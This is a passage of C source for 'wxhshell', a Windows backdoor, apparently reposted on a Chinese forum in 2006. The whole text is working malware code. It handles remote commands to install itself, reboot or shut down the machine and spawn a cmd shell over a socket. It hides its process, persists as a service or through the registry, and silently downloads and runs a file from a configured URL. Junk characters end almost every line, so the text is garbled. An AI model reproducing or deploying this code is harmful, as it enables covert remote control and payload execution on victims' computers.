  else { [ugr<[6  
MV07RjeS  
    switch(cmd[0]) { G&"O)$h  
  t+{vb S0  
  // 帮助 '|<S`,'#hg  
  case '?': { &:1q3 gDm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); usC$NVdm  
    break; '}"&JO~vPj  
  } ?/my G{E  
  // 安装 &y(%d 7@/  
  case 'i': {  'S:$4j  
    if(Install()) v *`M3jb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2waPNb|  
    else dcyHp>\)|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %.onO0})  
    break; 7+qKA1t^  
    } ''3I0X*!  
  // 卸载 q%dbx:y#  
  case 'r': { cv7:5P  
    if(Uninstall()) fPPmUM^C9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T''<yS  
    else NB+/S;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m(0X_& &?z  
    break; !Lw]aHb  
    } .8T0OQ4  
  // 显示 wxhshell 所在路径 ]'-y-kqY  
  case 'p': { n7yp6 Db  
    char svExeFile[MAX_PATH]; -:OJX#j  
    strcpy(svExeFile,"\n\r"); FZLx.3k4  
      strcat(svExeFile,ExeFile); c] t@3m  
        send(wsh,svExeFile,strlen(svExeFile),0); h_SkX@"/-  
    break; II!~"-WH  
    } =G" ney2  
  // 重启 K9y~ e  
  case 'b': { TPak,h(1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g4952u  
    if(Boot(REBOOT)) =itQ@ ``r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / :6|)AW.{  
    else { ]hoq!:>M1  
    closesocket(wsh); k+vfZ9bD(J  
    ExitThread(0); m/ID3_  
    } k[,0kP;  
    break; VqxK5  
    } K<kl2#  
  // 关机 P,F eF'J^  
  case 'd': { ={+8jQqi1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9C0#K\  
    if(Boot(SHUTDOWN)) 1:>F{g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +C[g>c}d  
    else { 1ANb=X|hig  
    closesocket(wsh); P{yb%@I~J  
    ExitThread(0); <HzL%DX  
    } ?_cOU@n  
    break; -'SA &[7dP  
    } #qpP37G  
  // 获取shell To5hVL<Ex"  
  case 's': { Z*Gf`d:  
    CmdShell(wsh); ~E!kx  
    closesocket(wsh); | L1+7  
    ExitThread(0); 5t"FNL <(M  
    break; DfP-(Lm)  
  } c&FOt  
  // 退出 !a-B=pn!]  
  case 'x': { 0!7p5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aT(_c/t.  
    CloseIt(wsh); R n]xxa'  
    break; +jyGRSo  
    } X6 N&:<  
  // 离开 VpSpj/\m)'  
  case 'q': { Am_>x8z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %:zu68Q[  
    closesocket(wsh); 'tvuw\hhL  
    WSACleanup(); ,?k1if(0[  
    exit(1); ,v,rY'  
    break; _53~D=  
        } mt`CQz"_  
  } RHMXPsj  
  } Lj9RF<39g  
|_>^vW1f  
  // 提示信息 q=V'pML  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x!\q69ndv  
} Q2uV/M1?  
  } 5j6`W?|q  
~!!| #A)W  
  return; f'H|K+bO  
} >]z^.U7=  
Z6A-i@  
// shell模块句柄 nSC2wTH!1  
int CmdShell(SOCKET sock) F= %A9b_a  
{ > pP&/  
STARTUPINFO si; GNe^ ~  
ZeroMemory(&si,sizeof(si)); d Rnf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XWyP'\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l $"hhI8  
PROCESS_INFORMATION ProcessInfo; $2?j2}M  
char cmdline[]="cmd"; fe,6YXUf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =I)43ah d  
  return 0; ~~ rR< re  
} ;}"Eqq:  
zdd-n[%@V  
// 自身启动模式 ,^97Ks ;  
int StartFromService(void) 0FgF,  
{ %S}uCqcAK  
typedef struct 6/Xs}[iJ  
{ ,3y9yJQa*#  
  DWORD ExitStatus; ]L7A$sTUQ  
  DWORD PebBaseAddress; 2R.L LE  
  DWORD AffinityMask; _Uq' N0U  
  DWORD BasePriority; <.B+&3')  
  ULONG UniqueProcessId; ^}B,0yUu'  
  ULONG InheritedFromUniqueProcessId; }$4z$&  
}   PROCESS_BASIC_INFORMATION; >[,eK=  
?'9IgT[*  
PROCNTQSIP NtQueryInformationProcess; ~~Ezt*lH  
yi>A ogQ,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .  yg#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cl]?qH*:  
@XV&^l -  
  HANDLE             hProcess; 2_+>a"8Y  
  PROCESS_BASIC_INFORMATION pbi; 6 AGZ)gX  
hN &?x5aC>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]b!n ;{5  
  if(NULL == hInst ) return 0; -` U |5  
EZ]4cd/i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EN2SI+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vjlN@ "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q>Zc eJ;  
^hmV?a:Y  
  if (!NtQueryInformationProcess) return 0; U`mX f#D  
bIAE?D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P<<+;']  
  if(!hProcess) return 0; ,0.kg  
yJq<&g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y]m: {  
@wI>0B  
  CloseHandle(hProcess); ExS5RV@v'  
kz7FQE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VTM* 1uXS>  
if(hProcess==NULL) return 0; 0lg$zi x(  
H.@$#D  
HMODULE hMod; 2Jd(@DcJ2C  
char procName[255]; ]VRa4ZB{u  
unsigned long cbNeeded; =GPXuo  
L(VFzPkY%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bOFzq>k_  
7v ZD  
  CloseHandle(hProcess); ~Ld5WEp k3  
, ~O>8VbF  
if(strstr(procName,"services")) return 1; // 以服务启动 Yi*F;V   
&>,;ye>A  
  return 0; // 注册表启动 K8;SE !  
} Z~~6y6p  
iZ-R%-}B  
// 主模块 .ybmJU*Hg  
int StartWxhshell(LPSTR lpCmdLine) w`)5(~b  
{ W2 -%/  
  SOCKET wsl; `$B?TNuch7  
BOOL val=TRUE; ~oa}gJl:}-  
  int port=0; -WlYHW  
  struct sockaddr_in door; &v{#yzM  
#1DEZ4]jjY  
  if(wscfg.ws_autoins) Install(); vW1^  
Y 3BJ@sqz  
port=atoi(lpCmdLine); 7~e,"^>T  
@M5+12FYt  
if(port<=0) port=wscfg.ws_port; Lt't   
N}?|ik  
  WSADATA data;  GfE>?mG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -G~]e6:zD  
|Ns4^2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a)QT#.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1;ttwF>G7  
  door.sin_family = AF_INET; 9|1msg4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $r/$aq=K  
  door.sin_port = htons(port); im2mA8OH  
#'_#t/u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V]F D'XAl  
closesocket(wsl); '[ t.  
return 1; 9Da{|FyrD  
} gyw=1q+  
|LZ;2 i  
  if(listen(wsl,2) == INVALID_SOCKET) { eiKY az  
closesocket(wsl); 'Qy6m'esW  
return 1; A@}5'LzL  
} J\L'HIs  
  Wxhshell(wsl); Vp/XVyL}R  
  WSACleanup(); i%K6<1R;y{  
3^7+fxYWo  
return 0; EZ)b E9  
An. A1y  
} xE:jcA d$}  
D$hQ-K  
// 以NT服务方式启动 4=L>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L|CdTRgRCB  
{ kpgA2u7  
DWORD   status = 0; #n>U7j9`O  
  DWORD   specificError = 0xfffffff; .G{cx=;  
?+t;\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ys9:";X;}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >dl5^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4YfM.~ 6  
  serviceStatus.dwWin32ExitCode     = 0; 4$xVm,n|  
  serviceStatus.dwServiceSpecificExitCode = 0; (U:-z=E#1  
  serviceStatus.dwCheckPoint       = 0; I%5vI}  
  serviceStatus.dwWaitHint       = 0; t*IePz]/  
Lh[0B.g<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u cpU $+  
  if (hServiceStatusHandle==0) return; ywwA,9~  
|Ea%nghl  
status = GetLastError(); Bl b#h  
  if (status!=NO_ERROR) 0/R;g~q@  
{ f .O^R~,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kb%Y%j  
    serviceStatus.dwCheckPoint       = 0; ;ElCWs->\  
    serviceStatus.dwWaitHint       = 0; W=+n |1  
    serviceStatus.dwWin32ExitCode     = status; @xWWN  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bb/if:XS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?'> .>  
    return; rN}pi@  
  } & kC  
/~NX<Ye&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A6z ,6v6  
  serviceStatus.dwCheckPoint       = 0; (47?lw &  
  serviceStatus.dwWaitHint       = 0; 4Zbn8GpC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {=GmXd%D  
} !Cr3>tA  
:^)?AO#J  
// 处理NT服务事件,比如:启动、停止 aopPv&jY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1#d2 +J*  
{ ]? y~;-^  
switch(fdwControl) 5iA>Z!sP[  
{ 50_[hC&C)  
case SERVICE_CONTROL_STOP: wH~A> 4*(  
  serviceStatus.dwWin32ExitCode = 0; <m-(B"F X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Eyi~jes  
  serviceStatus.dwCheckPoint   = 0; `+,?%W)  
  serviceStatus.dwWaitHint     = 0; L`nW&; w'  
  { 5 A0]+)5E8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j\ y!  
  } t% qep|  
  return;  =yod  
case SERVICE_CONTROL_PAUSE: ^Q8yb*MN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UR'[?  
  break; u@_|4Bp,"  
case SERVICE_CONTROL_CONTINUE: M/o?D <'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BN9e S   
  break; =8]`-(  
case SERVICE_CONTROL_INTERROGATE: x=DxD&I!J  
  break; Bp^LLH  
}; lh;fqn`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K#OL/2^ 5  
} FyEKqYl  
1/-3m Po  
// 标准应用程序主函数 %0Ur3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &~_F2]oM  
{ -}6ew@GE  
IW\^-LI.  
// 获取操作系统版本 _[6sr7H!  
OsIsNt=GetOsVer(); 3yx[*'e$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ljbAfd  
1V2]@VQF  
  // 从命令行安装 |=q~X}DA  
  if(strpbrk(lpCmdLine,"iI")) Install(); c+FTt(\8.  
.n7@$kq  
  // 下载执行文件 s{^B98d+W  
if(wscfg.ws_downexe) { sQgz}0_= )  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zH1 ;h  
  WinExec(wscfg.ws_filenam,SW_HIDE); kK75(x  
} }d. X2?  
g  *,O  
if(!OsIsNt) { #L.,aTA<  
// 如果时win9x,隐藏进程并且设置为注册表启动 sa.H,<;  
HideProc(); VP1hocW  
StartWxhshell(lpCmdLine); <+*0{8?0  
} f/Y&)#g>k  
else [5&k{*}}  
  if(StartFromService()) =`+D/ W\[Y  
  // 以服务方式启动 yr%[IX]R  
  StartServiceCtrlDispatcher(DispatchTable); .)/ ."V  
else m7k }k)  
  // 普通方式启动 F(VVb(\jd  
  StartWxhshell(lpCmdLine); fw&*;az  
lAnq2j|  
return 0; V*n$$-5 1-  
}
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只看该作者 1 发表于: 2006-10-10
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